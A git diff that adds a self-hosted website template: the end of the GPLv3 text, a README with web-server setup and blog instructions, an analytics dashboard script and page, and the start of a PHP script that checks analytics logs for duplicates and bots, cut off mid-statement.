TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE +COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be applied locally according to their terms, reviewing +courts shall apply local law that most closely approximates an absolute +waiver of all civil liability in connection with the Program, unless a +warranty or assumption of liability accompanies a copy of the Program in +return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for details on how to apply please refer to this +License. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. diff --git a/README.md b/README.md new file mode 100644 index 0000000..d2a62c4 --- /dev/null +++ b/README.md @@ -0,0 +1,544 @@ +# Website Template + +A modern, clean website template with blog, cheatsheets, quick reference guides, search integration, and analytics. Built with pure HTML, CSS, and JavaScript - no frameworks, no build process, just code that works. + +## Features + +- **Homepage** - Dynamic time-based greetings and theme switcher +- **Complete Blog System** - Full blogging platform with RSS, reactions, and analytics +- **Quick Reference Guides** - Programming language refs (Bash, Python) +- **Cheatsheets** - Command-line and security tool cheatsheets (nmap, ssh) +- **Search Integration** - SearXNG theme customization +- **Privacy-Focused Analytics** - Self-hosted, no third-party tracking +- **Theme System** - Dark/light mode with smooth transitions +- **Fast & Lightweight** - Pure HTML/CSS/JS, no bloat + +## File Structure + +``` +website-template/ +├── README.md +├── index.html +├── 404.html +├── favicon.ico +├── assets/ +│ ├── css/ +│ ├── js/ +│ ├── fonts/ +│ └── icons/ +├── blog/ +│ ├── admin/ # Blog admin interface (protect this!) +│ │ ├── index.php # Script to convert .md posts to JSON +│ │ └── example-post.md +│ ├── api/ +│ ├── data/ +│ └── js/ +├── api/ +├── analytics/ +├── cheatsheets/ +├── quickref/ +├── search/ +└── data/ + ├── analytics/ + └── reactions/ +``` + +## Installation & Setup + +### Step 1: Extract the Template + +```bash +tar -xzf website-template.tar.gz +cd website-template +``` + +### Step 2: Set Up Your Web Server + +#### Option A: Nginx (Recommended) + +1. **Install Nginx and PHP:** + + **Debian/Ubuntu:** + ```bash + sudo apt update + sudo apt install nginx php-fpm php-json php-mbstring + ``` + + **Fedora/RHEL/CentOS:** + ```bash + sudo dnf install nginx php-fpm php-json php-mbstring + ``` + + **Arch Linux:** + ```bash + sudo pacman -S nginx php-fpm php + ``` + + **openSUSE:** + ```bash + sudo zypper install nginx php-fpm php-json php-mbstring + ``` + + **Alpine Linux:** + ```bash + sudo apk add nginx php-fpm php-json php-mbstring + ``` + + **macOS (Homebrew):** + ```bash + brew install nginx php + ``` + + **FreeBSD:** + ```bash + sudo pkg install nginx php82 php82-json php82-mbstring + ``` + +2. **Configure Nginx:** + Create `/etc/nginx/sites-available/your-site` (or edit the default): + ```nginx + server { + listen 80; + server_name your-domain.com www.your-domain.com; + root /var/www/html; + index index.html; + + # PHP handling + location ~ \.php$ { + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/var/run/php/php-fpm.sock; + } + + # Deny access to hidden files and data directories + location ~ /\. { + deny all; + } + + location ~ /data/ { + deny all; + } + + # Main location + location / { + try_files $uri $uri/ =404; + } + } + ``` + +3. **Enable the site:** + + **Debian/Ubuntu:** + ```bash + sudo ln -s /etc/nginx/sites-available/your-site /etc/nginx/sites-enabled/ + sudo nginx -t + sudo systemctl reload nginx + ``` + + **Other Linux distributions:** + ```bash + # Edit /etc/nginx/nginx.conf directly or create config in /etc/nginx/conf.d/ + sudo nginx -t + sudo systemctl reload nginx + ``` + + **macOS:** + ```bash + # Edit /usr/local/etc/nginx/nginx.conf + brew services restart nginx + ``` + + **FreeBSD:** + ```bash + # Edit /usr/local/etc/nginx/nginx.conf + sudo service nginx reload + ``` + +4. **Copy files and set permissions:** + + **Linux (most distributions):** + ```bash + sudo cp -r * /var/www/html/ + sudo chown -R www-data:www-data /var/www/html/ # or nginx:nginx on some systems + sudo chmod -R 755 /var/www/html/ + sudo chmod 775 /var/www/html/data /var/www/html/data/analytics /var/www/html/data/reactions + sudo chmod 775 /var/www/html/blog/data + ``` + + **macOS:** + ```bash + sudo cp -r * /usr/local/var/www/ + sudo chown -R _www:_www /usr/local/var/www/ + sudo chmod -R 755 /usr/local/var/www/ + sudo chmod 775 /usr/local/var/www/data /usr/local/var/www/data/analytics /usr/local/var/www/data/reactions + sudo chmod 775 /usr/local/var/www/blog/data + ``` + + **FreeBSD:** + ```bash + sudo cp -r * /usr/local/www/nginx/ + sudo chown -R www:www /usr/local/www/nginx/ + sudo chmod -R 755 /usr/local/www/nginx/ + sudo chmod 775 /usr/local/www/nginx/data /usr/local/www/nginx/data/analytics /usr/local/www/nginx/data/reactions + sudo chmod 775 /usr/local/www/nginx/blog/data + ``` + +#### Option B: Apache + +1. **Install Apache and PHP:** + + **Debian/Ubuntu:** + ```bash + sudo apt install apache2 libapache2-mod-php php-json php-mbstring + ``` + + **Fedora/RHEL/CentOS:** + ```bash + sudo dnf install httpd php php-json php-mbstring + ``` + + **Arch Linux:** + ```bash + sudo pacman -S apache php + sudo systemctl enable --now httpd + ``` + + **openSUSE:** + ```bash + sudo zypper install apache2 php php-json php-mbstring + ``` + + **Alpine Linux:** + ```bash + sudo apk add apache2 php php-json php-mbstring + ``` + + **macOS (Homebrew):** + ```bash + brew install httpd php + ``` + + **FreeBSD:** + ```bash + sudo pkg install apache24 php82 php82-json php82-mbstring + ``` + +2. **Enable PHP and mod_rewrite:** + + **Debian/Ubuntu:** + ```bash + sudo a2enmod php + sudo a2enmod rewrite + ``` + + **Fedora/RHEL/CentOS/Arch/openSUSE/Alpine:** + ```bash + # PHP module is usually enabled by default + # Enable rewrite module (method varies by distro) + # Check your distribution's documentation for specific commands + ``` + + **macOS:** + ```bash + # Edit /usr/local/etc/httpd/httpd.conf + # Uncomment: LoadModule rewrite_module lib/httpd/modules/mod_rewrite.so + ``` + + **FreeBSD:** + ```bash + # Edit /usr/local/etc/apache24/httpd.conf + # Uncomment: LoadModule rewrite_module libexec/apache24/mod_rewrite.so + ``` + +3. **Configure Apache:** + Edit `/etc/apache2/sites-available/000-default.conf` (or create a new virtual host): + ```apache + + ServerName your-domain.com + DocumentRoot /var/www/html + + + Options -Indexes +FollowSymLinks + AllowOverride All + Require all granted + + + # Protect data directories + + Require all denied + + + ``` + +4. **Copy files and set permissions:** + + **Linux (most distributions):** + ```bash + sudo cp -r * /var/www/html/ + sudo chown -R www-data:www-data /var/www/html/ # or httpd:httpd on some systems + sudo chmod -R 755 /var/www/html/ + sudo chmod 775 /var/www/html/data /var/www/html/data/analytics /var/www/html/data/reactions + sudo chmod 775 /var/www/html/blog/data + ``` + + **macOS:** + ```bash + sudo cp -r * /usr/local/var/www/ + sudo chown -R _www:_www /usr/local/var/www/ + sudo chmod -R 755 /usr/local/var/www/ + sudo chmod 775 /usr/local/var/www/data /usr/local/var/www/data/analytics /usr/local/var/www/data/reactions + sudo chmod 775 /usr/local/var/www/blog/data + ``` + + **FreeBSD:** + ```bash + sudo cp -r * /usr/local/www/apache24/data/ + sudo chown -R www:www /usr/local/www/apache24/data/ + sudo chmod -R 755 /usr/local/www/apache24/data/ + sudo chmod 775 /usr/local/www/apache24/data/data /usr/local/www/apache24/data/data/analytics /usr/local/www/apache24/data/data/reactions + sudo chmod 775 /usr/local/www/apache24/data/blog/data + ``` + +5. **Restart Apache:** + ```bash + # Linux (systemd) + sudo systemctl restart apache2 # Debian/Ubuntu + sudo systemctl restart httpd # Fedora/RHEL/Arch/openSUSE + + # macOS + brew services restart httpd + + # FreeBSD + sudo service apache24 restart + ``` + +### Step 3: Configure PHP + +Edit your PHP configuration to set the timezone: + +```bash +# Find your php.ini location +php --ini + +# Edit php.ini (location varies by OS and installation method) +# Common locations: +# Linux: /etc/php/8.x/fpm/php.ini or /etc/php.ini +# macOS: /usr/local/etc/php/8.x/php.ini +# FreeBSD: /usr/local/etc/php.ini + +# Set your timezone (replace with your actual timezone) +date.timezone = "America/New_York" + +# Restart PHP-FPM (or PHP service) +# Linux (systemd): +sudo systemctl restart php-fpm # or php8.x-fpm + +# macOS: +brew services restart php + +# FreeBSD: +sudo service php-fpm restart +``` + +### Step 4: Test It Out + +1. **Start a local PHP server for testing:** + ```bash + cd /var/www/html + php -S localhost:8000 + ``` + +2. **Visit in your browser:** + - Homepage: `http://localhost:8000` + - Blog: `http://localhost:8000/blog/index.html` + - Analytics: `http://localhost:8000/analytics/index.html` (IP-restricted by default) + +### Step 5: Secure the Admin Interface + +**IMPORTANT:** The blog admin interface at `/blog/admin/` should be protected. Use one of these methods: + +**Option 1: HTTP Basic Auth (Nginx)** +```nginx +location /blog/admin/ { + auth_basic "Admin Area"; + auth_basic_user_file /etc/nginx/.htpasswd; +} +``` + +Create the password file: +```bash +sudo apt install apache2-utils +sudo htpasswd -c /etc/nginx/.htpasswd your-username +``` + +**Option 2: HTTP Basic Auth (Apache)** +Create `/var/www/html/blog/admin/.htaccess`: +```apache +AuthType Basic +AuthName "Admin Area" +AuthUserFile /var/www/html/blog/admin/.htpasswd +Require valid-user +``` + +Create the password file: +```bash +sudo htpasswd -c /var/www/html/blog/admin/.htpasswd your-username +``` + +## Adding Blog Posts + +You have three options for adding blog posts: + +### Option 1: Convert Markdown to JSON (Recommended) + +The template includes a PHP script to convert markdown files to the JSON format used by the blog. + +1. **Create a markdown file** following this format: + ```markdown + --- + title: Your Amazing Blog Post Title + excerpt: A brief excerpt that appears on the blog listing page + --- + + This is your blog post content. You can write as much as you want here. + + Use double newlines to separate paragraphs. The script will handle the rest. + ``` + +2. **Run the conversion script:** + ```bash + cd /var/www/html/blog/admin + php index.php /path/to/your-post.md + ``` + + Or if you're in the blog/admin directory: + ```bash + php index.php your-post.md + ``` + + The script will: + - Parse the frontmatter (title, excerpt) + - Extract the content + - Generate a unique ID + - Add today's date + - Append to `blog/data/posts.json` + +3. **Example:** + ```bash + # Create a post + nano my-new-post.md + + # Convert it + php index.php my-new-post.md + + # Done! Your post is now in the blog + ``` + +### Option 2: Edit JSON Directly + +Edit `blog/data/posts.json` directly. Each post needs: +- `id`: Unique number (increment from existing posts) +- `title`: Post title +- `date`: Date in `YYYY-MM-DD` format +- `excerpt`: Short description for listings +- `content`: Full post content (use `\n\n` for paragraph breaks) + +Example: +```json +{ + "id": 1, + "title": "My Second Post", + "date": "2025-01-15", + "excerpt": "This is what shows up on the blog listing", + "content": "This is the full content of my post.\n\nThis is a second paragraph." +} +``` + +### Option 3: Use the Admin Interface + +Visit `/blog/admin/` in your browser (after securing it) and use the web interface. + +## Security Checklist + +- [ ] Protect `/blog/admin/` with authentication (see Step 5 above) +- [ ] Set proper file permissions (755 for directories, 644 for files, 775 for data dirs) +- [ ] Use HTTPS (Let's Encrypt is free and easy) +- [ ] Analytics is already IP-restricted to local networks (check `api/analytics.php`) +- [ ] Review and customize CSP headers in HTML files if needed +- [ ] Don't expose `/data/` directory in web server config +- [ ] Keep PHP updated + +## Customization + +### Change Colors + +Edit `assets/css/style.css` and modify the CSS variables: +```css +:root { + --bg-primary: #your-color; + --text-primary: #your-color; + /* ... etc */ +} +``` + +### Update Site Information + +- **RSS Feed:** Edit `blog/api/feed.php` - change domain and title +- **Homepage Links:** Edit `index.html` - customize the link sections +- **ASCII Art Logo:** Replace the logo in all HTML files (search for the ASCII art) + +### Timezone + +The site uses the user's local timezone for display. Server-side PHP uses UTC by default - adjust in: +- `api/analytics.php` +- `api/track.php` +- `blog/api/feed.php` + +Set your server's timezone in `php.ini` (see Step 3). + +## Requirements + +- **Web Server:** Nginx (recommended) or Apache +- **PHP:** 7.4+ with `php-json` and `php-mbstring` extensions +- **Browser:** Modern browser +- **Permissions:** Write access to `data/` and `blog/data/` directories + +## Troubleshooting + +**Blog posts not loading?** +- Make sure PHP is running: `sudo systemctl status php-fpm` +- Check file permissions: `ls -la blog/data/posts.json` +- Verify PHP can read the file: `php -r "echo file_exists('blog/data/posts.json') ? 'OK' : 'NOT FOUND';"` +- Check browser console for JavaScript errors + +**Analytics not working?** +- Analytics is IP-restricted by default (local networks only) +- Check `api/analytics.php` for IP filtering rules +- Verify `data/analytics/` directory is writable + +**404 errors?** +- Check web server configuration +- Verify file paths are correct +- Make sure mod_rewrite is enabled (Apache) or try_files is configured (Nginx) + +**PHP errors?** +- Check PHP error logs: `/var/log/php-fpm/error.log` or Apache error log +- Verify PHP extensions are installed: `php -m | grep json` +- Check file permissions + +## What Makes This Special + +- **No frameworks** - Pure, readable code +- **No build process** - Edit files, refresh browser, done +- **Privacy-first** - Self-hosted analytics, no third-party tracking +- **Actually organized** - Clean structure that makes sense, I don't want to talk about how we got there. +- **JSON-based storage** - Blog posts and data stored in JSON files + +## License + +This project is licensed under the GNU General Public License v3.0. See [LICENSE.md](LICENSE.md) for details. + +--- + +**Built with a healthy dose of cynicism.** + +Extract it. Deploy it. Make it yours. diff --git a/analytics/analytics.js b/analytics/analytics.js new file mode 100644 index 0000000..ca2193d --- /dev/null +++ b/analytics/analytics.js @@ -0,0 +1,469 @@ +// Analytics dashboard script +(function() { + // Helper function to format date as YYYY-MM-DD in local timezone + function formatLocalDate(date) { + const year = date.getFullYear(); + const month = String(date.getMonth() + 1).padStart(2, '0'); + const day = String(date.getDate()).padStart(2, '0'); + return `${year}-${month}-${day}`; + } + + // Set today's date as default (using local timezone, not UTC) + const dateSelect = document.getElementById('dateSelect'); + const endDateSelect = document.getElementById('endDateSelect'); + const goButton = document.getElementById('goButton'); + const customCalendar = document.getElementById('customCalendar'); + const customCalendarEnd = document.getElementById('customCalendarEnd'); + const today = new Date(); + const todayStr = formatLocalDate(today); // Format: YYYY-MM-DD in local timezone + let currentDate = new Date(today); + let selectedDate = new Date(today); + let selectedEndDate = new Date(today); + + if (dateSelect) { + // Set the value directly as a string to avoid timezone conversion issues + dateSelect.value = todayStr; + // Also set valueAsDate to ensure the input displays correctly + const localDate = new Date(today.getFullYear(), today.getMonth(), today.getDate()); + dateSelect.valueAsDate = localDate; + selectedDate = new Date(localDate); + } + + if (endDateSelect) { + endDateSelect.value = todayStr; + const localDate = new Date(today.getFullYear(), today.getMonth(), today.getDate()); + endDateSelect.valueAsDate = localDate; + selectedEndDate = new Date(localDate); + } + + // Handle Go button click + if (goButton) { + goButton.addEventListener('click', function() { + const startDate = dateSelect.value; + const endDate = endDateSelect.value; + + // Validate dates + if (!startDate || !endDate) { + return; + } + + // Ensure end date is not before start date + if (new Date(endDate) < new Date(startDate)) { + endDateSelect.value = startDate; + selectedEndDate = new Date(startDate); + } + + // Load analytics with date range + loadAnalytics(startDate, endDate); + }); + } + + // Handle end date changes - validate but don't auto-refresh + if (endDateSelect) { + endDateSelect.addEventListener('change', function(e) { + const newDate = e.target.value; + if (newDate) { + selectedEndDate = new Date(newDate); + // Ensure end date is not before start date + if (selectedEndDate < selectedDate) { + endDateSelect.value = dateSelect.value; + selectedEndDate = new Date(selectedDate); + } + } + }); + } + + // Custom calendar implementation + function renderCalendar(date, preserveShowState = false, isEndDate = false) { + const targetCalendar = isEndDate ? customCalendarEnd : customCalendar; + const targetDateSelect = isEndDate ? endDateSelect : dateSelect; + const targetSelectedDate = isEndDate ? selectedEndDate : selectedDate; + const year = date.getFullYear(); + const month = date.getMonth(); + const firstDay = new Date(year, month, 1); + const lastDay = new Date(year, month + 1, 0); + const startDate = new Date(firstDay); + startDate.setDate(startDate.getDate() - startDate.getDay()); + + const monthNames = ['January', 'February', 'March', 'April', 'May', 'June', + 'July', 'August', 'September', 'October', 'November', 'December']; + const weekdays = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']; + + // Preserve show state if calendar was visible + const wasVisible = preserveShowState && targetCalendar.classList.contains('show'); + + let html = ` +
+ +
${monthNames[month]} ${year}
+ +
+
+ ${weekdays.map(day => `
${day}
`).join('')} +
+
+ `; + + const today = new Date(); + today.setHours(0, 0, 0, 0); + const selected = new Date(targetSelectedDate); + selected.setHours(0, 0, 0, 0); + + for (let i = 0; i < 42; i++) { + const cellDate = new Date(startDate); + cellDate.setDate(startDate.getDate() + i); + const cellDateOnly = new Date(cellDate); + cellDateOnly.setHours(0, 0, 0, 0); + + const isOtherMonth = cellDate.getMonth() !== month; + const isToday = cellDateOnly.getTime() === today.getTime(); + const isSelected = cellDateOnly.getTime() === selected.getTime(); + + let classes = 'calendar-day'; + if (isOtherMonth) classes += ' other-month'; + if (isToday) classes += ' today'; + if (isSelected) classes += ' selected'; + + html += `
${cellDate.getDate()}
`; + } + + html += '
'; + targetCalendar.innerHTML = html; + + // Restore show state if it was visible + if (wasVisible) { + targetCalendar.classList.add('show'); + } + + // Prevent calendar header clicks from closing the calendar + targetCalendar.querySelectorAll('.calendar-header, .calendar-month-year').forEach(el => { + el.addEventListener('click', function(e) { + e.stopPropagation(); + }); + }); + + // Add click handlers for navigation buttons + targetCalendar.querySelectorAll('.calendar-nav-btn[data-action="prev"]').forEach(btn => { + btn.addEventListener('click', function(e) { + e.stopPropagation(); // Prevent click from bubbling up + currentDate.setMonth(currentDate.getMonth() - 1); + renderCalendar(currentDate, true, isEndDate); // Preserve show state + }); + }); + + targetCalendar.querySelectorAll('.calendar-nav-btn[data-action="next"]').forEach(btn => { + btn.addEventListener('click', function(e) { + e.stopPropagation(); // Prevent click from bubbling up + currentDate.setMonth(currentDate.getMonth() + 1); + renderCalendar(currentDate, true, isEndDate); // Preserve show state + }); + }); + + // Add click handlers for calendar days + targetCalendar.querySelectorAll('.calendar-day').forEach(day => { + day.addEventListener('click', function(e) { + e.stopPropagation(); // Prevent document click handler from firing + const dateStr = this.getAttribute('data-date'); + if (dateStr) { + if (isEndDate) { + selectedEndDate = new Date(dateStr); + endDateSelect.value = dateStr; + endDateSelect.valueAsDate = selectedEndDate; + targetCalendar.classList.remove('show'); + // Ensure end date is not before start date + if (selectedEndDate < selectedDate) { + endDateSelect.value = dateSelect.value; + selectedEndDate = new Date(selectedDate); + } + } else { + selectedDate = new Date(dateStr); + dateSelect.value = dateStr; + dateSelect.valueAsDate = selectedDate; + targetCalendar.classList.remove('show'); + // Ensure start date is not after end date + if (selectedDate > selectedEndDate) { + endDateSelect.value = dateStr; + selectedEndDate = new Date(selectedDate); + } + } + // Don't auto-refresh - user must click Go button + } + }); + }); + } + + // Toggle calendar on input click - Start Date + if (dateSelect && customCalendar) { + dateSelect.addEventListener('click', function(e) { + e.preventDefault(); + e.stopPropagation(); + currentDate = selectedDate; + renderCalendar(currentDate, false, false); + customCalendar.classList.toggle('show'); + }); + + // Prevent focus from causing layout shifts + dateSelect.addEventListener('focus', function(e) { + e.preventDefault(); + this.blur(); + }); + + // Initialize calendar + renderCalendar(currentDate, false, false); + } + + // Toggle calendar on input click - End Date + if (endDateSelect && customCalendarEnd) { + endDateSelect.addEventListener('click', function(e) { + e.preventDefault(); + e.stopPropagation(); + currentDate = selectedEndDate; + renderCalendar(currentDate, false, true); + customCalendarEnd.classList.toggle('show'); + }); + + // Prevent focus from causing layout shifts + endDateSelect.addEventListener('focus', function(e) { + e.preventDefault(); + this.blur(); + }); + } + + // Close calendars when clicking outside + document.addEventListener('click', function(e) { + if (dateSelect && !dateSelect.contains(e.target) && customCalendar && !customCalendar.contains(e.target)) { + customCalendar.classList.remove('show'); + } + if (endDateSelect && !endDateSelect.contains(e.target) && customCalendarEnd && !customCalendarEnd.contains(e.target)) { + customCalendarEnd.classList.remove('show'); + } + }); + + async function loadAnalytics(date, endDate = null) { + const dateStr = date || formatLocalDate(new Date()); + // Use API endpoint to fetch data securely + let filename = `/api/analytics.php?date=${dateStr}`; + if (endDate) { + filename += `&endDate=${endDate}`; + } + + try { + const response = await fetch(filename); + if (!response.ok) { + document.getElementById('statsGrid').innerHTML = '

Access denied or no data available.

'; + document.getElementById('hourChart').innerHTML = ''; + document.getElementById('blogPostsStats').innerHTML = ''; + return; + } + + const result = await response.json(); + if (!result.success) { + document.getElementById('statsGrid').innerHTML = '

Error loading data.

'; + document.getElementById('hourChart').innerHTML = ''; + document.getElementById('blogPostsStats').innerHTML = ''; + return; + } + + const data = result.data; + + // Update stats + const shares = data.shares || {mastodon: 0, bluesky: 0, copy: 0}; + const totalShares = shares.mastodon + shares.bluesky + shares.copy; + const rssSubscriptions = data.activeRssSubscribers || 0; + + document.getElementById('statsGrid').innerHTML = ` +
+
${data.total || 0}
+
Total Visits
+
+
+
${data.new || 0}
+
New Visitors
+
+
+
${data.returning || 0}
+
Returning Visitors
+
+
+
${totalShares}
+
Total Shares
+
+
+
${shares.mastodon || 0}
+
Mastodon Shares
+
+
+
${shares.bluesky || 0}
+
Bluesky Shares
+
+
+
${shares.copy || 0}
+
Link Copies
+
+
+
${rssSubscriptions}
+
RSS Subscribers
+
+ `; + + // Update hour chart - vertical histogram + const byHour = data.byHour || Array(24).fill(0); + const maxVisits = Math.max(...byHour, 1); + const hourChart = document.getElementById('hourChart'); + + // Use fixed height for consistent scaling (300px container - 40px for labels/padding = 260px) + const chartHeight = 260; + + hourChart.innerHTML = byHour.map((visits, hour) => { + const percentage = maxVisits > 0 ? (visits / maxVisits) * 100 : 0; + const hourLabel = hour.toString().padStart(2, '0'); + // Calculate actual pixel height based on percentage of available height + const barHeightPx = visits > 0 ? Math.max((percentage / 100) * chartHeight, 8) : 0; + return ` +
+
+ ${visits > 0 ? visits : ''} +
+
${hourLabel}
+
+ `; + }).join(''); + + // Set heights using CSS custom properties (to avoid CSP blocking inline styles) + hourChart.querySelectorAll('.hour-visual').forEach(bar => { + const height = bar.getAttribute('data-height'); + if (height) { + bar.style.setProperty('--bar-height', height + 'px'); + } + }); + + // Update recent visitors panel + const recentVisitors = data.recentVisitors || []; + const recentVisitorsContainer = document.getElementById('recentVisitors'); + + // Helper function to format UTC time to visitor's local time + function formatVisitorTime(timeStr) { + if (!timeStr) return 'N/A'; + try { + const date = new Date(timeStr); + return date.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: false }); + } catch (e) { + return timeStr; + } + } + + if (recentVisitors.length > 0) { + recentVisitorsContainer.innerHTML = ` + + + + + + + + + + + + ${recentVisitors.map(visitor => ` + + + + + + + + `).join('')} + +
TimeIP AddressLocationISPPage
${formatVisitorTime(visitor.time)}${visitor.ip || 'N/A'} + ${visitor.city || 'Unknown'}, ${visitor.country || 'Unknown'} + ${visitor.countryCode ? `${visitor.countryCode}` : ''} + ${visitor.isp || 'Unknown'}${visitor.page || '/'}
+ `; + } else { + recentVisitorsContainer.innerHTML = '

No recent visitors found.

'; + } + + // Update blog post stats (reactions are cumulative, not date-specific) + const blogPosts = data.blogPosts || []; + const blogPostsStats = document.getElementById('blogPostsStats'); + if (blogPosts.length > 0) { + blogPostsStats.innerHTML = blogPosts.map(post => { + const reactions = post.reactions || {like: 0, love: 0, helpful: 0}; + const shares = post.shares || {mastodon: 0, bluesky: 0, copy: 0}; + return ` +
+

${post.title}

+
+
+
Likes
+
${reactions.like || 0}
+
+
+
Loves
+
${reactions.love || 0}
+
+
+
Helpful
+
${reactions.helpful || 0}
+
+
+
Total Reactions
+
${post.totalReactions || 0}
+
+
+
Mastodon Shares
+
${shares.mastodon || 0}
+
+
+
Bluesky Shares
+
${shares.bluesky || 0}
+
+
+
Link Copies
+
${shares.copy || 0}
+
+
+
Total Shares
+
${post.totalShares || 0}
+
+
+
+ `; + }).join(''); + } else { + blogPostsStats.innerHTML = '

No blog posts found.

'; + } + + } catch (error) { + console.error('Error loading analytics:', error); + document.getElementById('statsGrid').innerHTML = '

Error loading analytics data.

'; + } + } + + // Load analytics on page load with today's date range + function initializeAnalytics() { + loadAnalytics(todayStr, todayStr); + } + + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', initializeAnalytics); + } else { + initializeAnalytics(); + } + + // Handle start date changes - validate but don't auto-refresh + if (dateSelect) { + dateSelect.addEventListener('change', function(e) { + const newDate = e.target.value; + if (newDate) { + selectedDate = new Date(newDate); + // Ensure start date is not after end date + if (endDateSelect && selectedDate > selectedEndDate) { + endDateSelect.value = newDate; + selectedEndDate = new Date(selectedDate); + } + } + }); + } +})(); diff --git a/analytics/index.html b/analytics/index.html new file mode 100644 index 0000000..4c6d990 --- /dev/null +++ b/analytics/index.html @@ -0,0 +1,75 @@ + + + + + + + + + Analytics - Launch Pad + + + +
+

Analytics Dashboard

+ +
+
+
+ + +
+
+
+ + +
+
+
+ +
+
+
+ +

Traffic Statistics

+ +
+ +
+ +

Traffic by Hour (Server Time: AST/ADT)

+
+
+ +
+
+ +

Recent Visitors (Your Local Time)

+
+
+ +
+
+ +

Blog Post Statistics

+
+
+ +
+
+
+ + + + + diff --git a/analytics/verify.php b/analytics/verify.php new file mode 100644 index 0000000..0021839 --- /dev/null +++ b/analytics/verify.php @@ -0,0 +1,301 @@ +#!/usr/bin/env php += 0 && $hour < 24) { + $byHour[$hour]++; + } + } +} + +// 4. Count shares +$shares = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; +foreach ($visits as $visit) { + if ($visit['type'] === 'share' && isset($visit['platform'])) { + $platform = $visit['platform']; + if (isset($shares[$platform])) { + $shares[$platform]++; + } + } +} + +// 5. Count RSS clicks +$rssClicks = 0; +foreach ($visits as $visit) { + if ($visit['type'] === 'rss_click') { + $rssClicks++; + } +} + +// 6. Identify potential issues +$issues = []; + +// Check for duplicate pageviews (same visitor, same page, within 5 seconds) +$duplicates = []; +foreach ($pageviews as $i => $visit1) { + foreach ($pageviews as $j => $visit2) { + if ($i < $j && + $visit1['visitorId'] === $visit2['visitorId'] && + $visit1['page'] === $visit2['page'] && + abs($visit1['timestamp'] - $visit2['timestamp']) < 5) { + $duplicates[] = [ + 'visitor' => $visit1['visitorId'], + 'page' => $visit1['page'], + 'time1' => date('H:i:s', $visit1['timestamp']), + 'time2' => date('H:i:s', $visit2['timestamp']) + ]; + } + } +} + +if (count($duplicates) > 0) { + $issues[] = "Found " . count($duplicates) . " potential duplicate pageviews (same visitor, same page, <5s apart)"; +} + +// Check for suspicious user agents (common bots) +$botPatterns = [ + '/bot/i', '/crawler/i', '/spider/i', '/scraper/i', + '/google/i', '/bing/i', '/yahoo/i', '/duckduckbot/i', + '/facebookexternalhit/i', '/twitterbot/i', '/linkedinbot/i' +]; +$botCount = 0; +$botVisitors = []; +foreach ($visits as $visit) { + $ua = $visit['userAgent'] ?? ''; + foreach ($botPatterns as $pattern) { + if (preg_match($pattern, $ua)) { + $botCount++; + $botVisitors[$visit['visitorId']] = true; + break; + } + } +} + +if ($botCount > 0) { + $issues[] = "Found {$botCount} visits from potential bots/crawlers (" . count($botVisitors) . " unique visitors)"; +} + +// Check for rapid-fire visits (potential scripted access) +$rapidVisits = []; +$visitorTimestamps = []; +foreach ($pageviews as $visit) { + $vid = $visit['visitorId']; + if (!isset($visitorTimestamps[$vid])) { + $visitorTimestamps[$vid] = []; + } + $visitorTimestamps[$vid][] = $visit['timestamp']; +} + +foreach ($visitorTimestamps as $vid => $timestamps) { + sort($timestamps); + for ($i = 1; $i < count($timestamps); $i++) { + $diff = $timestamps[$i] - $timestamps[$i-1]; + if ($diff < 2) { // Less than 2 seconds between pageviews + $rapidVisits[$vid] = ($rapidVisits[$vid] ?? 0) + 1; + } + } +} + +if (count($rapidVisits) > 0) { + $issues[] = "Found " . count($rapidVisits) . " visitors with rapid-fire pageviews (<2s apart)"; +} + +// Check summary vs raw data discrepancies +$discrepancies = []; + +if ($summary['total'] != $pageviewCount) { + $discrepancies[] = sprintf( + "Total visits mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summary['total'], $pageviewCount, $summary['total'] - $pageviewCount + 